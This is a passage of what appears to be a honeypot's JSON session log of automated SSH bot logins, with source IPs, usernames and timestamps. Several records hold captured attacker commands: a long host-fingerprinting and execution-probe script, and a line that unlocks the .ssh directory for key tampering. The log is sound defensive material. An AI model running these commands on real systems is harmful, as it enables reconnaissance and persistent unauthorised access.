  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:12:43.164467+00:00",
  "ended_at": "2026-08-26T15:12:43.284014+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b7e8f21d-e68e-4ba7-a684-1d1ce330c1a2",
  "name": "thawing-fleeting-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52494,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:11:24.442968+00:00",
  "ended_at": "2026-08-26T15:11:26.716417+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "8a19b655-7d8b-4913-9ce0-f0eea4c236dc",
  "name": "velvet-spirited-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40817,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 754,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:11:09.396540+00:00",
  "ended_at": "2026-08-26T15:11:11.023513+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "35a976a5-6df3-4c9d-8f1f-3bfa3d918b84",
  "name": "somber-early-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52504,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:57.018498+00:00",
  "ended_at": "2026-08-26T15:10:58.963119+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cb0692cb-adfd-496e-b30e-83894b4ee50f",
  "name": "knotted-merry-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 43420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:10:55.636672+00:00",
  "ended_at": "2026-08-26T15:10:55.740348+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "176e36f2-3001-453a-8067-1bb22c715806",
  "name": "blithe-frugal-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52500,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:55.331097+00:00",
  "ended_at": "2026-08-26T15:10:56.418839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ffd768a-b55e-4dfb-83b4-470686ac6076",
  "name": "primal-sullen-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40819,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:45.827340+00:00",
  "ended_at": "2026-08-26T15:10:47.798337+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bf9ce45-ba85-4aef-823f-f162307da485",
  "name": "courtly-glacial-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40818,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:43.382953+00:00",
  "ended_at": "2026-08-26T15:10:44.331738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d05ca8e-0bef-40c7-b1da-7ecb224ecc6b",
  "name": "blazing-jolly-kingfisher",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "113.31.186.197",
  "src_port": null,
  "username": null,
  "client_version": "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:37.288573+00:00",
  "ended_at": "2026-08-26T15:25:58.613314+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f881c2e4-7713-4c3b-ba41-1a562cac5584",
  "name": "scarlet-crisp-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 57610,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:09:33.162109+00:00",
  "ended_at": "2026-08-26T15:09:34.142292+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "763b57e9-8f95-4812-bd7c-30dc6f0505fb",
  "name": "downy-solar-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 40436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:09:06.861734+00:00",
  "ended_at": "2026-08-26T15:09:06.968408+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f8d4e1aa-48f8-489e-b7c6-5a02514255ae",
  "name": "cosmic-stormy-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 57612,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:09:05.691908+00:00",
  "ended_at": "2026-08-26T15:09:06.877869+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ac8140c-dd12-43a8-a8e2-6a9fa3af7a2f",
  "name": "painted-gritty-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 57604,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:09:04.134422+00:00",
  "ended_at": "2026-08-26T15:09:05.116640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d81e16b-e9d4-4aac-a492-6a2552c55825",
  "name": "fleeting-shaded-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40814,
  "username": "usuario1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:08:27.168497+00:00",
  "ended_at": "2026-08-26T15:08:28.568238+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "0b875908-3e19-459b-95ab-e84faa046b06",
  "name": "gentle-lively-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40816,
  "username": "usuario1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:08:05.000703+00:00",
  "ended_at": "2026-08-26T15:08:07.150844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73b1d2fd-5de5-4089-be24-7adec8a8d3f0",
  "name": "sterling-pristine-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40815,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:08:01.627864+00:00",
  "ended_at": "2026-08-26T15:08:03.486634+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "897c001f-3537-4cf6-8ead-4f6972463db6",
  "name": "mindful-graceful-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56030,
  "username": "usuario1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:07:35.710506+00:00",
  "ended_at": "2026-08-26T15:07:37.163044+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "ccb0953d-f01e-4f4d-b138-de884be14982",
  "name": "fickle-eager-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56058,
  "username": "usuario1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:07:10.177826+00:00",
  "ended_at": "2026-08-26T15:07:11.986369+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42614bb6-1bb8-4198-9f28-c73d3fe17766",
  "name": "craggy-upland-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 37428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:07:09.334806+00:00",
  "ended_at": "2026-08-26T15:07:09.463495+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8b9ed839-fbe5-463a-a9f3-499efa25a22b",
  "name": "crimson-coral-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56046,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:07:08.365951+00:00",
  "ended_at": "2026-08-26T15:07:09.600625+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c8a58e8-62e7-43b5-ad7c-8cf90e2d120e",
  "name": "regal-slender-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50998,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:05:32.726271+00:00",
  "ended_at": "2026-08-26T15:05:34.184077+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "aed1cbb5-41b6-43a1-a69d-72c042199632",
  "name": "gloomy-woven-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51010,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:05:17.670954+00:00",
  "ended_at": "2026-08-26T15:05:19.122304+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a1e72f0-5836-4d72-a224-cc16a4b41b8e",
  "name": "sleepy-lucid-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51008,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:05:15.472995+00:00",
  "ended_at": "2026-08-26T15:05:17.101291+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
